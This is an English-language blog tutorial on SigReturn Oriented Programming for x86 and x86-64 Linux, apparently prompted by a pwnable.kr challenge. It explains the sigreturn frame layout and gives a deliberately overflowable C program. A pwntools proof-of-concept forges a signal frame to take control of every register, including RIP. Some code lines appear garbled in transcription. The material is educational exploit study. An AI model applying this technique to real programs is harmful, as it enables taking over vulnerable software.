본문 바로가기

Security/System Hacking

[System Hacking] 6. SigReturn Oriented Programming

SigReturn Oriented Programming

This time I gonna post about SROP on x86, x86-64 linux(ubuntu). When i solved pwnable.kr 'unexploitable' challenge, there are over 2-way solutions. one is SROP(original intend) and another is ROP. So, i just decided to post 'SROP' tech.


Surely there are differences, ROP and SROP. In short, when doing SROP, all we need is 'int 0x80;ret' and control of eax gadgets like 'pop rax'. So, using SROP instead of ROP is very comfortable in the environment where gadget rarely exists. SROP is a tech using system call called sigreturn. This tech can be used all unix system.


Then, how to call it? In unistd_32.h,  #define __NR_sigreturn 119

Which means put 119 characters, call 'int 0x80', then, sigreturn will be called.

And on ARM and intel x86-64, #define __NR_sigreturn 15

And What does SigReturn work. By sequence of below structure, pop on current ESP.

- x86

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
struct sigcontext {
   unsigned short gs, __gsh;
   unsigned short fs, __fsh;
   unsigned short es, __esh;
   unsigned short ds, __dsh;
   unsigned long edi;
   unsigned long esi;
   unsigned long ebp;
   unsigned long esp;
   unsigned long ebx;
   unsigned long edx;
   unsigned long ecx;
   unsigned long eax;
   unsigned long trapno;
   unsigned long err;
   unsigned long eip;
   unsigned short cs, __csh;
   unsigned long eflags;
   unsigned long esp_at_signal;
   unsigned short ss, __ssh;
   struct _fpstate *fpstate;
   unsigned long oldmask;
   unsigned long cr2;
}
cs

- x64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
struct ucontext {
        unsigned long     uc_flags;   ; <= rsp , from here, values will be poped
        struct ucontext  *uc_link;
        stack_t           uc_stack;
        struct sigcontext uc_mcontext;
        sigset_t          uc_sigmask;   /* mask last for extensibility */
};
typedef struct sigaltstack {
    void __user * ss_sp;
    int ss_flags;
    size_t ss_size;
} stack_t;
struct sigcontext {
         __u64 r8;
         __u64 r9;
         __u64 r10;
         __u64 r11;
         __u64 r12;
         __u64 r13;
         __u64 r14;
         __u64 r15;
         __u64 rdi;
         __u64 rsi;
         __u64 rbp;
         __u64 rbx;
         __u64 rdx;
         __u64 rax;
         __u64 rcx;
         __u64 rsp;
         __u64 rip;
         __u64 eflags;           /* RFLAGS */
         __u16 cs;
         __u16 gs;
         __u16 fs;
         __u16 __pad0;
         __u64 err;
         __u64 trapno;
         __u64 oldmask;
         __u64 cr2;
         struct _fpstate __user *fpstate;        /* zero when no FPU context */
 #ifdef __ILP32__
         __u32 __fpstate_pad;
 #endif
         __u64 reserved1[8];
};
cs

Then, stack frame seems like...

1
2
3
4
5
6
7
8
9
[-------------]
[    STACK    ]
[-------------]
[   FPSTATE   ]
[-------------]
[   UCONTEXT  ]
[-------------]
[ SIGINFO+arg ]
[-------------]
cs

And detail view of stack seems like below!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
     [------------------------------------------]
0x00 [  rt_sigreturn()      |  uc_flags         ]
0x10 [  &uc                 |  uc_stack.ss_sp   ]
0x20 [  uc_stack.ss_flags   |  uc_stack.ss_size ]
0x30 [  r8  -> arg5         |  r9  -> arg6      ]
0x40 [  r10 -> arg4         |  r11              ]
0x50 [  r12                 |  r13              ]
0x60 [  r14                 |  r15              ]
0x70 [  rdi -> arg1         |  rsi -> arg2      ]
0x80 [  rbp                 |  rbx              ]
0x90 [  rdx -> arg3         |  rax              ]
0xA0 [  rcx                 |  rsp -> next frame]
0xB0 [  rip -> syscall;ret  |  eflags           ]
0xC0 [  cs(0x33)/ gs / fs   |  err              ]
0xD0 [  trapno              |  oldmask (unused) ]
0xE0 [  cr2 (segfault addr) |  &fpstate -> NULL ]
0xF0 [  __reserved          |  sigmask          ]
     [------------------------------------------]
cs


Let's see with example.

1
2
3
4
5
6
#include <stdio.h>
void main() {
    char input[4];
    char gadget[] = "\x58\xc3\x90\x90\x0f\x05\xc3"// pop rax;ret and syscall;ret
    read(0, input, 512);
}
cs

Tested on Ubuntu 14.04.3 & 16.10, gcc version : 4.8.4, 6.2.0 kernel version : 3.19.0-25, 4.8.0-37

GCC Compile Options : gcc -fno-stack-protector -no-pie -o srop ./srop.c

I just input 'pop rax;syscall;ret' gadgets in the binary for convenience. 0x40053b : syscall;ret, 0x400537 : pop rax;ret.

First, we need to control RIP value. RIP is at 24. I just make PoC code which shows controlling register with arbitrary values.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
 
poprax    = 0x4004d0
syscall   = 0x4004d4
bss       = 0x6008d8 + 0x4
 
# x64 sigframe
sigframe  = p64(0x90* 13      # uc_flags ~ uc_stack.ss_size, r8 ~ r15
sigframe += p64(0x0)            # rdi -> arg1
sigframe += p64(bss)            # rsi -> arg2
sigframe += p64(0x91* 2       # rbp, rbx 
sigframe += p64(0xa)            # rdx -> next syscall or arg3
sigframe += p64(0x92* 2       # rax, rcx
sigframe += p64(bss)            # rsp
sigframe += p64(0xdeadbeef)     # rip
sigframe += p64(0x93)           # eflags
sigframe += p64(0x33)           # cs / gs / fs
sigframe += p64(0x0* 7        # err ~ cr2, &fstate, ...
 
payload  = p64(poprax) * 4      # rip
payload += p64(0xf)             # invoke sigreturn
payload += p64(syscall)         # call syscall    
payload += sigframe
 
= open("exploit""w")
f.write(payload)
f.close()
 
= process('./srop-x64')
p.send(payload)
p.interactive()
cs

Here is the registry status after SROP.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
[----------------------------------registers-----------------------------------]
RAX: 0x92 
RBX: 0x91 
RCX: 0x92 
RDX: 0xa ('\n')
RSI: 0x6008dc --> 0x0 
RDI: 0x0 
RBP: 0x91 
RSP: 0x6008dc --> 0x0 
RIP: 0xdeadbeef 
R8 : 0x90 
R9 : 0x90 
R10: 0x90 
R11: 0x90 
R12: 0x90 
R13: 0x90 
R14: 0x90 
R15: 0x90
EFLAGS: 0x10293 (CARRY parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0xdeadbeef
[------------------------------------stack-------------------------------------]
0000| 0x6008dc --> 0x0
...
0x00000000deadbeef in ?? ()
cs

As we expected, we can fully control registers' value!